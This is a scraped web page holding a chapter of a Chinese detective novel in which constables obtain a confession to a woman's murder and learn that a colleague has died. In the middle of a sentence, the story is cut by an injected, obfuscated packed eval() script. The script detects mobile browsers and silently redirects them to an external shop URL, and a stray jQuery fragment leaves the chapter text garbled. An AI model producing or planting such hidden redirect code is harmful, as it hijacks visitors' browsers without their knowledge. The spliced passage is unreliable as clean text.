文趣网 > 其他小说 > 狗狗神探,认真办案 > 15. 无名女尸真相
    辛澈扭头看向步将黎,后者打开一个沉甸甸的黑布袋子,将其中物体展示在众人面前。

    那是一个刻有貔貅的铜制葫芦,做工还算精美。

    辛澈问:“可有人认识此物?”

    无人说话。

    辛澈又说:“此物有些年代了,城里卖古玩的铺子就那么几家,你们以为来之前我们没去调查?我再说一遍,瞒而不报耽误办案,是要吃板子的!”

    事实上,辛澈他们根本没来得及查那葫芦的来历,不过是诈他们。

    不成想这一诈,竟还诈出了效果。

    还是包得露开口道:“包大威,我记得上个月你不是才从古玩铺淘了些东西回来么?你还说要留给你儿子当传家宝哩!”

    包得露说及“儿子”二字时,加重了语气。

    那唤作包大威的中年男人抬手便是一巴掌打在他身旁的妇人脸上,力度之大,让那妇人脸上登时起了指印。

    “贱人!”包大威骂道,“叫你出去偷汉子,叫你偷汉子!”

    那妇人被打岂会甘心,抬手一巴掌还给包大威,说:“怪我偷汉子?还不是你不行,我才……”

    “我打死你个贱人!”

    妇人后面的话被包大威的愤怒和拳脚掩盖了下去,两个人就这么突如其来地扭打在一起,全然不管旁人眼光。

    毕吉本和另一名捕手上前去将两人分开,这才算是结束这场闹剧。

    包大威面红耳赤,说:“差爷,真不是我不承认这东西是我的,只因这实在是太丢人了,我……哎,我就说了吧。

    “这东西确实是我的,但前两日被这贱妇偷去送给了她那好赌的奸夫。您说这招财进宝的葫芦,又刻了貔貅,能不遭赌徒眼红么?差爷,您说说,这事教我如何说得出口啊!”

    “理解。”辛澈说着,转而看向被打得嘴角渗血的妇人,问:“你叫什么名字?与史顺是何关系?”

    妇人身子哆嗦,说:“我叫张梅花,与那史顺是……是,差爷,都是那厮逼我的,他说我要是不与他好,就打我,甚至还会杀了我!”

    辛澈不与她扯这些,径直问道:“二月初三寅时,你在何处?想好了再说。”

    张梅花紧张得双手发颤,身子抖得愈发厉害,一双眼珠子滴溜溜转着,却似乎并未编造出恰当的理由。

    “准是偷汉子去了!我儿子有这么个娘也是遭了老罪!”包大威嚷嚷道,反正事情已被道破,干脆破罐子破摔。

    张梅花猛地看向他,眼中像是有几分不敢置信。包大威发狠地瞪着她,丝毫不退让。

    她终究不再挣扎,跪在辛澈面前,说:“差爷,那晚我确实去私会史顺了。”

    “是你将这葫芦带给史顺的?”

    “是。”

    “你可知我们于何处寻得这貔貅葫芦?”

    “不知。”

    “是在史顺家中,除此之外,我们还在他家寻得一件带血的衣裳,这葫芦上亦有血迹,且其形状与高藻苗头上的伤口高度吻合。”

    张梅花听闻此言的反应与其说是恐慌,倒不如说是死心,她卸下腿上的力量,无力地瘫坐,这种反应非常微妙。

    “差爷,您说得没错,确实是史顺用这葫芦砸死高藻苗的。”

    “细说,不得有半分隐瞒。”

    二月初三子时过后,假寐的张梅花忽然睁眼,轻轻晃了晃身旁熟睡的包大威,见他没有反应便蹑手蹑脚地起床。

    她怕吵醒包大威,衣服都不敢在房中穿,拿到门外穿好后,又拿上偷藏好的貔貅铜葫芦出了门。

    史顺好赌,张梅花已经暗中接济过他很多次,这一回也不例外。

    彼时史顺早已等在村外,见张梅花来便喜笑颜开,迫不及待地冲上去将她抱住,手不安分地乱摸。

    两人寻了个僻静之所行鱼水之欢,一夜缠绵,好不快活。

    “嘿嘿嘿,光溜溜,没衣服,冷死你!光溜溜,光溜溜……”

    疯女人的声音冷不丁传来,两个人都吓了一大跳,慌忙寻找遮蔽之物。

    只见月光之下,一个头发凌乱的女人正直勾勾地看向他们,眼睛亮得吓人。

    “是高藻苗,她疯疯癫癫的,万一将我俩的事说出去可咋办?我男人一定会打死我的!还不止如此,如果让他知道我给了你钱财,他一定会要回去。”张梅花不无担忧地说。

    史顺思索片刻,见高藻苗还在那里疯言疯语,心一横,说:“杀了她!”

    张梅花惊恐地看向他,却见他已经拿起腰带走向高藻苗。

    “光屁屁的人,是光屁屁的……”

    话未说完,史顺的腰带已经缠在了高藻苗的脖子上。他面目狰狞,一直将高藻苗勒晕之后才罢手。

    “还愣着干什么?快来帮忙!”史顺冲吓蒙了的张梅花说道。

    张梅花这才如梦初醒,颤抖着手慌乱地将衣服穿好,又伺候着史顺将衣服穿好,这才由史顺扛着高藻苗下了山。

    事发突然,他们根本没想好要将尸体埋于何处,行至水田边稻草堆时,史顺背上的高藻苗呢喃了两句,竟醒了过来。

    史顺与张梅花惊恐不已,惊慌之下,史顺将高藻苗扔在地上。

    “光溜溜……光溜溜……”意识模糊的高藻苗不断地重复着,一句一句击垮史顺。

    “疯婆娘,去死吧!”史顺恶狠狠地说罢,夺过张梅花手中的铜制葫芦,蓄起全身力气砸在高藻苗的头上。

    就这么一下,那疯癫的女人便再也没了动静。

    终于安静了。

    杀完人后,史顺在地上瘫坐了许久,张梅花叫他,他才想起要处理尸体。

    他在她脸上砸了数次,直至她的面容变得模糊,教人分辨不出她的长相。

    眼见着天光渐明,随时可能有人经过,史顺不敢多耽误时间,手忙脚乱地将高藻苗的衣衫全部脱掉,最后将尸体藏于稻草堆之中。

    两人收拾好作案现场,将高藻苗的衣服扔进河里,随水流走,又做了简单的清洗,这才慌里慌张地分开,各自离去。

    张梅花哭着将这一切讲述出来,随后她作为从犯,被辛澈他们带回了县廨。

    这便是辛澈他们一行昨晚的经历,他事无巨细地描述给隋屹和万俟白听,深怕漏掉一个细节。

    隋屹用手摩挲着下巴,琢磨道:“这个麻今村很有问题,那包得露亦是隐藏着什么。”

    “弃子。”万俟白脱口而出这

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17867234|212220||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    两个字,“包得露必然一眼就认出了画中之人,却瞒而不报,如今又主动承认,便是见事情瞒不住,又怕我们深查下去,只好将人推出来,望此事在此终结。”

    “大人的意思是,他们还有想要隐瞒的东西?”隋屹问。

    万俟白不置可否。

    “昨夜我见大人对村中地形颇为熟悉,难道大人早去过那村子了?”隋屹又问。

    万俟白只是平静地看了他一眼,并不作答。

    气氛颇显尴尬,步将黎忍不住说:“贺羌当晚跟着包得露回了村,他们有什么动作他定有所察觉。头儿,贺羌怎么没与你们一道回来?还有你们怎会受如此严重的伤?”

    听闻此话,隋屹的神情瞬间变得悲伤,他低垂眼眸,却掩盖不住眼中闪烁的泪花。

    见他如此反应,其余人似乎明白了什么,辛澈追问:“头儿,究竟发生何事?贺羌呢?”

    隋屹却怎么也说不出那个事实,话语在喉咙打转,只要一想到那副惨景,他便无法将事实说出口。

    “贺捕快殉职了。”终是万俟白说了出来。

    就像当头棒喝,也如晴天霹雳。

    “贺羌他可曾在军中当过斥候呀,什么大场面未曾见过,岂会死在一个小村庄之中!”辛澈言语之中尽是不信,就与其他人一样,他不肯相信贺羌已死。

    隋屹调整好情绪,将我们的遭遇简单叙述了一遍,却不敢描述贺羌的死状。

    “我这便带人去将村里所有人拿下!”辛澈一向冷静,此刻难免失态。

    “且慢!”隋屹说,“村子里究竟隐藏着什么秘密我们还不得而知,没有拿人的理由,需得先审刘二强。”

    “可若是他们发现刘二强不见了,毁尸灭迹当如何?”辛澈问。

    隋屹说:“他们还不知熊已死,不敢贸然下去处理尸骨。越是到这时候,越需要冷静。”

    所有人都拽紧了拳头,暂且将这口气忍了下来。

    辛澈亲自去牢房将刘二强提至公堂。

    公堂之上,万俟白坐在高位,刘二强跪在下方,相比于刚才,此刻他身上又多了些流血的伤口,怎么来的,不好明说。

    我趴在角落里旁观,万俟白开始审问。

    万俟白问:“堂下何人,何方人士?”

    刘二强答:“草民刘二强,明知县人。”

    万俟白问:“你可知罪?”

    刘二强答:“草民……草民知罪。”

    万俟白问:“你知何罪?”

    刘二强答:“草民无意害得两位上官受伤,草民知罪。”

    他分明在避重就轻,万俟白岂会听不出来。但万俟白不急,仍旧保持淡然之态,继续讯问,势要将他所犯之罪一条一条理清楚。

    “你可认识宋杉?”

    “认识,他是草民的表弟。”

    “可与他有仇怨?”

    “没、没有。”

    “昨日巳时末午时初你身在何处?”

    “草民在、在城外闲逛哩!”

    “可有人证?”

    “没有,草民孤身一人。”

    审到这里,万俟白俨然已知他满嘴谎言,再按照这个节奏审下去将毫无用处。